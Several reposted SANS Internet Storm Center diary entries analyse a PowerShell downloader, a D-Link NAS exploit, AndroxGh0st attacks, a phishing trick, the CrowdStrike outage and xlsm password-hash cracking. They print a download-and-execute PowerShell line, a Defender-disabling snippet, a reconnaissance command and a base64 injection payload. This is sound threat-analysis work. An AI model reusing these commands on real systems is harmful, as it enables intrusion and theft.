This post was originally published on this site

Some simple PowerShell scripts might deliver nasty content if executed by the target. I found a very simple one (with a low VT score of 8/65):

$webclient = New-Object System.Net.WebClient
$webclient.Headers.Add("X-Requested-With", "PowerShell")
$script = $webclient.DownloadString("hxxp://147[.]45[.]159[.]206/open.ps1")
Invoke-Expression $script

The file "open.ps1" is downloaded from Russia and contains comments in Russian like "Function of real-life security protection". It will try to disable the antivirus or, if not possible, it will ask the victim to do it!

// Decoded: "Press d when u turn off Tamper Protect!"
$ready = Read-Host 
([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("UHJlc3MgZCB3aGVuIHUgdHVybiBvZmYgVGFtcGVyIFByb3RlY3Qh")))

if ($ready -eq "d") {
    Try {
        Set-MpPreference -DisableRealtimeMonitoring $true
        Write-Host "1"
    }
    Catch {
       Write-Host "2"
    }
}
else {
    // Decoded: "Canceled!"
    Write-Host ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q2FuY2VsZWQh")))
    exit
}

Then, the script tries to download two PE files:

• cmd.exe (SHA256: 97d6e2d922c2f69cb84341b238966555820f0b46375a9e0e1a1a19a5f42a8f96)
• service.exe (SHA256: de223760fd87d21d3548ab96e810f7c0c16aeea156905845d2e3c81e1e7df663)

"cmd.exe" is a self-extracting RAR archive:

remnux@remnux:MalwareZoo/20240726$ rar t cmd.exe 

RAR 5.50   Copyright (c) 1993-2017 Alexander Roshal   11 Aug 2017
Trial version             Type 'rar -?' for help

Testing archive cmd.exe

Testing     comCommon.exe                                             OK 
Testing     OejMizBn6qpQO.vbe                                         OK 
Testing     e0FFDTJuwoKvrdf9FE4ACLcGB7vDN5I0giWGmO2aDyI3QEuN.bat      OK 
All OK

It communicates with solararbx[.]online (%%ip:37.140.192.207%%). At this time, I'm not sure about the purpose of the RAR archive.

"service.exe" is the Exela[1] stealer, developed in Python and compiled into a PE file. It uses Discord as C2 channel. Reconnaissance is performed via a simple script:

C:Windowssystem32cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:WINDOWSSystem32driversetchosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

[1] https://github.com/quicaxd/Exela-V2.0

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

In April, an OS command injection vulnerability in various D-Link NAS devices was made public [1]. The vulnerability, %%CVE:2024-3273%% was exploited soon after it became public. Many of the affected devices are no longer supported.

We have seen different exploits following similar patterns:

/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=[base 64 encoded payload]

After the initial scans, we had two more "spikes" in scans for this vulnerability. The second one just started two days ago.

The latest set of scans uses this payload:

ZWNobwktZQlcXHg2NVxceDYzXFx4NjhcXHg2ZlxceDIwXFx4MjdcXHg3OFxceDc4XFx4NzhcXHg3OFxceDc4XFx4NjNcXHg2M1xceDYzXFx4NjNcXHg2M1xceDI3fHNo

This payload decodes to

echo    -e    x65x63x68x6fx20x27x78x78x78x78x78x63x63x63x63x63x27|sh

Encoding strings as hexadecimal with "echo -e" has been popular for a while and took off after Mirai started using it. In this case, the command to be executed is:

echo 'xxxxxccccc'|sh

The goal of this exploit is to find vulnerable machines. The "double obfuscation" is likely supposed to bypass some filters and better discriminate against honeypots. I have seen "non functional" exploits used to detect honeypots by attempting to fingerprint the error message returned. Maybe a pattern to add to our honeypots after lunch.

The single source (%%ip:192.227.190.158%%) scanning for this particular version of the exploit on July 19th has now switched to related scans for nas_sharing.cgi

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Last Friday, after Crowdstrike released a bad sensor configuration update that caused widespread crashes of Windows systems. The most visible effects of these crashes appear to have been mitigated. I am sure many IT workers had to spend the weekend remediating the issue.

It is still early regarding the incident response part, but I would like to summarize some of the important facts we know and some lessons learned.

You are likely infected if the CrowdStrike sensor system retrieved updates between 0409 and 0527 UTC on Friday, July 19th. CrowdStrike allows users to configure a sensor update policy, which will delay the update of the sensor software. But the corrupt file was a configuration ("signature") update, not an update of the sensor itself. Configuration updates are always applied as soon as they are released. Customers do not have an option to delay these updates. Systems crashed because a kernel driver provided by CrowdStrike crashed as it read the malformed configuration file.

Since news of the incident broke, CrowdStrike has been updating and expanding its guidance. Your first stop should be Crowdstrikes "Remediation and Guidance Hub". It will link to all the resources CrowdStrike has to offer. Yesterday, CrowdStrike announced that they will soon offer a new, accelerated technique for recovery. As I write this, the new technique has not been published. CrowdStrike did provide a new dashboard to affected users to track systems affected by the update.

Microsoft developed a USB solution to simplify the process. To apply the update, systems must be booted from the USB key. However, Bitlocker-encrypted hosts may require a recovery key.

Bitlocker is the major hurdle to a speedy recovery for many affected organizations. Ben Watsons posted on LinkedIn that his organization came up with a way to use a barcode scanner to simplify entering the recovery keys. I do not believe that the related code to create the barcodes is public.

It should be noted that there are some reports of scammers taking advantage of the incident. I reported on Friday about some phishing attempts and domains registered to take advantage of the incident. So far, we have not received a sample of a phishing e-mail, just reports that they had been seen. These phishing and malware emails may affect organizations not directly affected by the CrowdStrike problem. The extensive news coverage, often called a "Windows Problem", may prompt users into installing malicious files.

If you are affected: Only use tools provided by trustworthy sources. Refer to CrowdStrike's advice for guidance, and be careful with advice from others (including me 🙂 ). Do not make far-reaching infrastructure changes before the incident is completely understood, and plan any changes carefully. This isn't the time to "rip out" CrowdStrike without first carefully evaluating alternatives. It may take a few weeks for CrowdStrike to completely understand what happened. Resiliency isn't just about avoiding outages. A big part is how to deal with outages that may happen. If you are not in the midst of recovering from CrowdStrike, Think about how you would deal with all your Windows Server (or Workstations) going down. How would you continue operations? Do you know where your Bitlocker recovery keys are?

If you are interested in recent domains registered to take advantage of the incident: Try our API. For example:

https://isc.sans.edu/api/recentdomains/today/crowdstrike?json

Instead of "crowdstrike," you may use other keywords or replace 'today' with a date in YYYY-MM-DD format. A suspect domain registered today: crowdstrike-fix.zip.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Last night, endpoint security company Crowdstrike released an update that is causing widespread "blue screens of death" (BSOD) on Windows systems. Crowdstrike released an advisory, which is only available after logging into the Crowdstrike support platform. A brief public statement can be found here.

Linux and MacOS systems are not affected by this issue.

The quickest fix appears to boot the system into "Windows Safemode with Network". This way, Crowdstrike will not start, but the current version may be downloaded and applied, which will fix the issue. This "quick version" of the fix is not part of Crowdstrike's recommendations but may be worth a try if you have many systems to apply the fix to or if you need to talk a non-computer-savvy person through the procedure. Some users have reported that this will succeed.

Casimir Pulaski (@cybermactex) mentioned on X that a simple reboot sometimes works if the latest update was downloaded before the system crashed.

The support portal statement offers the following steps to get affected systems back into business:

CrowdStrike Engineering has identified a content deployment related to this issue and reverted those changes.

Workaround Steps:

1 - Boot Windows into Safe Mode or the Windows Recovery Environment

2 - Navigate to the C:WindowsSystem32driversCrowdStrike directory

3 - Locate the file matching “C-00000291*.sys”, and delete it.

4 - Boot the host normally.

For a Bitlocker-protected system, you will have to provide the recovery key to delete the file.

Virtual systems are easier to fix as you should be able to just shut them down, mount the virtual disk to the host or a different virtual system (Linux? 😉 ), and remove the file.

 

Outages caused by this issue are far-reaching, with users on X reporting issues with Airports, 911 systems, banks, and media outlets. Please be patient with companies/workers affected by the issue.

This isn't the first time that security software has caused system crashes. Frequently, these issues are due to false positives marking system files as malicious.
 

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Michael Gallant, an ISC intern as part of the SANS.edu BACS program]

                                                                  
                                                                                                  Image generated by DALL-E [8]

Introduction

During my internship at the SANS Internet Storm Center, I was tasked with setting up a honeypot, an internet device intentionally vulnerable, to observe and analyze attack vectors. Among the numerous attacks recorded, one particular observation stood out: the AndroxGh0st malware. This threat targets Laravel web applications and poses major risks to sensitive data. In this post, I aim to share my experience and raise awareness about AndroxGh0st, detailing its exploitation methods and providing strategies to defend against it.

Understanding AndroxGh0st

AndroxGh0st is a Python-scripted malware designed to target .env files that contain sensitive information in web applications, specifically those using the Laravel framework. This malware is part of a botnet operation that primarily aims to steal credentials and abuse other functions such as vulnerability scanning, Simple Mail Transfer Protocol (SMTP), application programming interfaces (APIs), and web shell deployment [1][2].

What is Laravel?

Laravel is an open-source PHP web application development framework. It simplifies development with built-in database interaction, authentication, routing, sessions, and caching features. Laravel is popular for designing web applications such as e-commerce platforms, social networking platforms, APIs (Application Programming Interfaces), and Content Management Systems (CMS). Laravel applications often handle critical data, making them attractive targets for attackers. The added complexity of Laravel can lead to security oversights, providing opportunities for exploitation and including exposed default settings or sensitive files, making it easier for attackers to gain access [3].

                                                                                           Key Characteristics [6]
                                             

AndroxGh0st exploits multiple known vulnerabilities:

CVE-2017-9841: A Remote Code Execution (RCE) vulnerability in PHPUnit.

• AndroxGh0st malware typically uses scripts to scan for and exploit specific vulnerabilities on websites. One common method is to run PHP code on vulnerable websites using the PHPUnit module. If the /vendor folder is accessible from the internet, attackers can send malicious HTTP POST requests to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php uniform resource identifier (URI), allowing them to execute code remotely.
• Once inside, attackers use AndroxGh0st to download malicious files to the compromised system. They can also set up fake web pages to maintain backdoor access, enabling them to download more malicious files and access databases.

CVE-2018-15133: The Laravel App Key Deserialization RCE.

• AndroxGh0st malware creates a botnet to scan for websites using the Laravel framework. It looks for exposed .env files at the root level of the domain, which often contain credentials and tokens. Attackers target these files to steal sensitive information.
• If an .env file is found, attackers send a GET request to /.env to access its contents. However, they might use a POST request with a specific identifier to the same URI. This method is often used on websites in debug mode, exposing non-production sites to the internet. Successful responses allow attackers to steal usernames, passwords, and credentials for services like email and AWS accounts.
• Also, AndroxGh0st can exploit the Laravel application key. If the key is found, attackers encrypt the PHP code and send it as a value in the XSRF-TOKEN cookie in a GET request. This exploit allows remote code execution on Laravel applications, allowing attackers to upload files and gain further access to the website

CVE-2021-41773: A directory traversal and RCE vulnerability in the Apache HTTP server.

• AndroxGh0st attackers scan for vulnerable Apache HTTP Servers (2.4.49 and 2.4.50). They use path traversal attacks to find uniform resource locators (URLs) for files outside the root directory. If these files aren't protected and Common Gateway Interface (CGI) scripts are enabled, attackers can execute code remotely.
• Once attackers obtain credentials through these methods, they can access sensitive data or use the services for further malicious activities. For example, if they compromise AWS credentials, they might create new users and policies or launch new AWS instances to conduct additional scans [1][3][4].

My interaction with AndroxGh0st

On March 11, 2024, I observed suspicious activities originating from IP address 78.153.140.179. The attacker made 191 connections to my honeypot, targeting TCP port 80 from various source ports and enacting the same HTTP requests. The user-agent string ‘androxgh0st’ was present in these connections, almost like a calling card left behind by the attacker.

                                                                               Sample of the HTTP connections made to TCP/80:
                     

                                                       Sample of sequences with HTTP Requests and different source ports:
                                      

                                      

                                    

Noting the threat actor’s user-agent string and the “androxgh0st” from all POST requests:

                                

                               

                                 

Although my honeypot didn't have an exposed .env file or other specific targets the malware was searching for, the meticulous behavior of AndroxGh0st was evident. Taking an account for the URIs after the successful connections and the incoming POST requests consistently included the "androxgh0st" string, demonstrating the malware's systematic approach to identifying vulnerable Laravel applications.

Am I Being Haunted by AndroxGh0st?

When detecting AndroxGh0st on our systems, we need to be aware of the various indicators of compromise. Provided by CISA/FBI, Juniper Labs, and Lacework Labs, here are some signs that this malware may haunt your system [1][5][7]:

Incoming GET and POST requests to the following URIs:

• /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /.env

Incoming POST requests with the following strings:

• [0x%5B%5D=androxgh0st]
• ImmutableMultiDict([(‘0x[]’, ‘androxgh0st’)])

URIs that were observed and used by the threat actors for credential exfiltration:

                                                     

                                                       An example of attempted credential exfiltration through honeypot:

                                         

                                                                        An example of attempted web-shell drop through honeypot:

                                                  

File Samples:

• AndroxGh0st python sample f6f240dc2d32bfd83b49025382dc0a1cf86dba587018de4cd96df16197f05d88 
• AndroxGh0st python sample 3b04f3ae4796d77e5a458fe702612228b773bbdefbb64f20d52c574790b5c81a
• Linux Miner dropped 23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066 
• Linux Miner dropped 6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc
• Linux Miner dropped bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7
• PHP Webshell ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72 
• PHP Webshell 0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef

Other monikers used instead of AndroxGh0st:

Mitigations: How to Scare Away AndroxGh0st

Protecting your systems from AndroxGh0st requires a broad approach to security. Here are key recommendations to help network defenders reduce the risk and defend against this persistent malware:

Keep Systems Updated

• Regular Updates: Ensure all operating systems, software, and firmware are up to date and verify that Apache servers are not running vulnerable versions 2.4.49 or 2.4.50.
• Prioritize Patching: Focus on patching known exploited vulnerabilities in internet-facing systems, including CVE-2017-9841, CVE-2018-15133, and CVE-2021-41773.

Secure Configurations

• Default Deny Policy: Verify that the default configuration for all URIs is to deny all requests unless required.
• Disable Debug Mode: Ensure that Laravel applications are not in debug or testing mode, which can expose sensitive information.

Manage Credentials

• Remove Cloud Credentials: Remove all cloud credentials from .env files and revoke them. Use safer methods provided by cloud providers for temporary, frequently rotated credentials.
• Review Credential Usage: Conduct a review of previously stored cloud credentials and ongoing reviews for other credentials listed in the .env file. Check for unauthorized access or use on platforms or services associated with these credentials.
• Encrypt Sensitive Information: Encrypt sensitive information like API keys and credentials, especially in files like .env.
• Enhance Account Security: Implement multi-factor authentication (MFA) to enhance account security.

Network Security Measures

• Intrusion Detection Systems (IDS): Implement robust network security measures, including IDS, to detect and block malicious activities.
• Firewalls: Use firewalls to monitor and control incoming and outgoing network traffic based on predetermined security rules.

Scan for Malicious Files

• File System Scans: Regularly scan the server's file system for unknown PHP files, specifically in the root directory or /vendor/phpunit/phpunit/src/Util/PHP folder.
• Monitor Outgoing Requests: Examine outgoing GET requests to file-hosting sites such as GitHub, Pastebin, etc., especially when accessing a .php file.

By implementing these efforts, organizations can greatly reduce the risk of AndroxGh0st infections and improve their overall security posture [1][3].

Conclusion

                                          
                                                                                     Image generated by DALL-E [8]

This post has been enlightening and educational, shining a light on the now less frightening AndroxGh0st malware. While at the SANS Internet Storm Center, encountering and analyzing this malware was challenging and informative. Understanding its methods and implementing robust security measures are crucial in defending against such threats.

By staying alert, regularly updating systems, securing configurations, and managing credentials effectively, we can greatly reduce the risk posed by AndroxGh0st. Remember, being proactive and prepared is our best defense.

Thank you for joining me on this journey. Take care and keep your systems secure!

[1] https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a
[2] https://www.bleepingcomputer.com/news/security/fbi-androxgh0st-malware-botnet-steals-aws-microsoft-credentials/
[3] https://blogs.juniper.net/en-us/security/shielding-networks-against-androxgh0st
[4] https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys
[5] https://github.com/Juniper-ThreatLabs/IoC/blob/main/AndroxGhost%20Indicators.txt
[6] https://thehackernews.com/2024/03/androxgh0st-malware-targets-laravel.html
[7] https://github.com/lacework/lacework-labs/blob/master/blog/androxgh0st_IOCs.csv
[8] https://openai.com/index/dall-e-2/
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Few weeks ago, I was asked by a customer to take a look at a phishing message which contained a link that one of their employees clicked on. The concern was whether the linked-to site was only a generic credential stealing web page or something targeted/potentially more dangerous. Luckily, it was only a run-of-the-mill phishing kit login page, nevertheless, the e-mail message itself turned out to be somewhat more interesting, since although it didn’t look like anything special, it did make it to the recipient’s inbox, instead of the e-mail quarantine where it should have ended up.

The reason for this probably was that the message in question contained what looked like a reply to a previous e-mail exchange. This might have made it appear more trustworthy to the spam/phishing detection mechanisms that were employed to scan it, since – as far as my understanding goes – automated spam/phishing detection mechanisms tend to consider messages with reply-chains to be somewhat more trustworthy than plain, unsolicited e-mails from unknown senders.

It should be mentioned that threat actors commonly use replies to legitimate messages in account takeover/BEC-style phishing attacks, however, in this case, the situation was somewhat different – the original (replied-to) message was from someone not associated with the targeted organization in any way. Use of this approach (i.e., “replying” to a message with no relevance to the recipient) can sometimes be seen in generic phishing, however, if someone receives an e-mail which contains a reply to a message from someone they have never even heard of, it doesn’t exactly make the message appear trustworthy… Which is where the slight twist, which was used in this message, comes in.

In the message, the ”reply” part was hidden from the recipient bellow a long list of empty paragraphs (well, paragraphs containing a non-breaking space). And although this technique is not new, since the aforementioned customer’s IT specialists weren’t aware of it, and a quick Google search failed to provide any write-ups of it, I thought it might be worthwhile to go over it here.

As the following example from my “phishing collection” shows, at first glance, an e-mail messages, in which this technique is used, would look quite normal, and a recipient might not notice anything suspicious (besides the overall “this is an obvious phishing” vibe).

Only if one noticed that the scrollbar on the right side of the window seems to indicate that there is (literally) much more to the message than it appears to be, would one probably discover the text of the original reply-chain… Which, in this instance, is hidden bellow 119 empty paragraphs.

Although the aforementioned technique is hardly the most common (or most dangerous) one when it comes to phishing, since it is being used “in the wild”, a short mention of it might make a good addition to any security awareness training (e.g., something along the lines of “if you see a large scrollbar next to the body of a short e-mail, it is a definite indicator that something is amiss”)…

———–
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I was asked a question about the protection of an .xlsm spreadsheet. I've written before on the protection of .xls spreadsheets, for example in diary entries "Unprotecting Malicious Documents For Inspection" and "16-bit Hash Collisions in .xls Spreadsheets"; and blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets".

.xlsm spreadsheats (and .xlsx) are OOXML files, and are thus ZIP files containing mostly XML files:

The spreadsheet I'm taking as an example here, has a protected sheet. Let's take a look at the XML file for this sheet by piping zipdump.py's output into xmldump.py:

XML element sheetProtection protects this sheet. If you remove this element, the sheet becomes unprotected.

The password used to protect this sheet, is hashed and the hashvalue is stored as an attribute of element sheetProtection.

Let's print out each attribute on a different line:

The password is hashed hundred thousand times (attribute spinCount) with SHA-512 (attribute algorithmName) together with a salt (attribute saltValue, base64 encoded). This result is stored in attribute hashValue (base64 encoded).

Here is the algorithm in Python:

def CalculateHash(password, salt):
    passwordBytes = password.encode('utf16')[2:]
    buffer = salt + passwordBytes
    hash = hashlib.sha512(buffer).digest()
    for iter in range(100000):
        buffer = hash + struct.pack('<I', iter)
        hash = hashlib.sha512(buffer).digest()
    return hash

def Verify(password, salt, hash):
    hashBytes = binascii.a2b_base64(hash)
    return hashBytes == CalculateHash(password, binascii.a2b_base64(salt))

Spreadsheet protected-all.xlsx is a spreadsheet I created with 3 types of protections: modification protection, workbook protection and sheet protection:

I released a new version of xmldump.py to extract these hashes and format them for hashcat:

For each extracted hash, the lines are:

1. the name of the containing file
2. the name of the protecting element (which can be removed should you want to disable that particular protection)
3. the hashcat compatibel hash (hash mode 25300)
4. a hashcat command to crack this hash with a wordlist

You can imagine that cracking these hashes with hashcat is rather slow, because 100,000 SHA-256 hash operations need to be executed for each candidate password. On a desktop with a NVIDIA GeForce RTX 3080 GPU, I got around 24,000 hashes per second.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.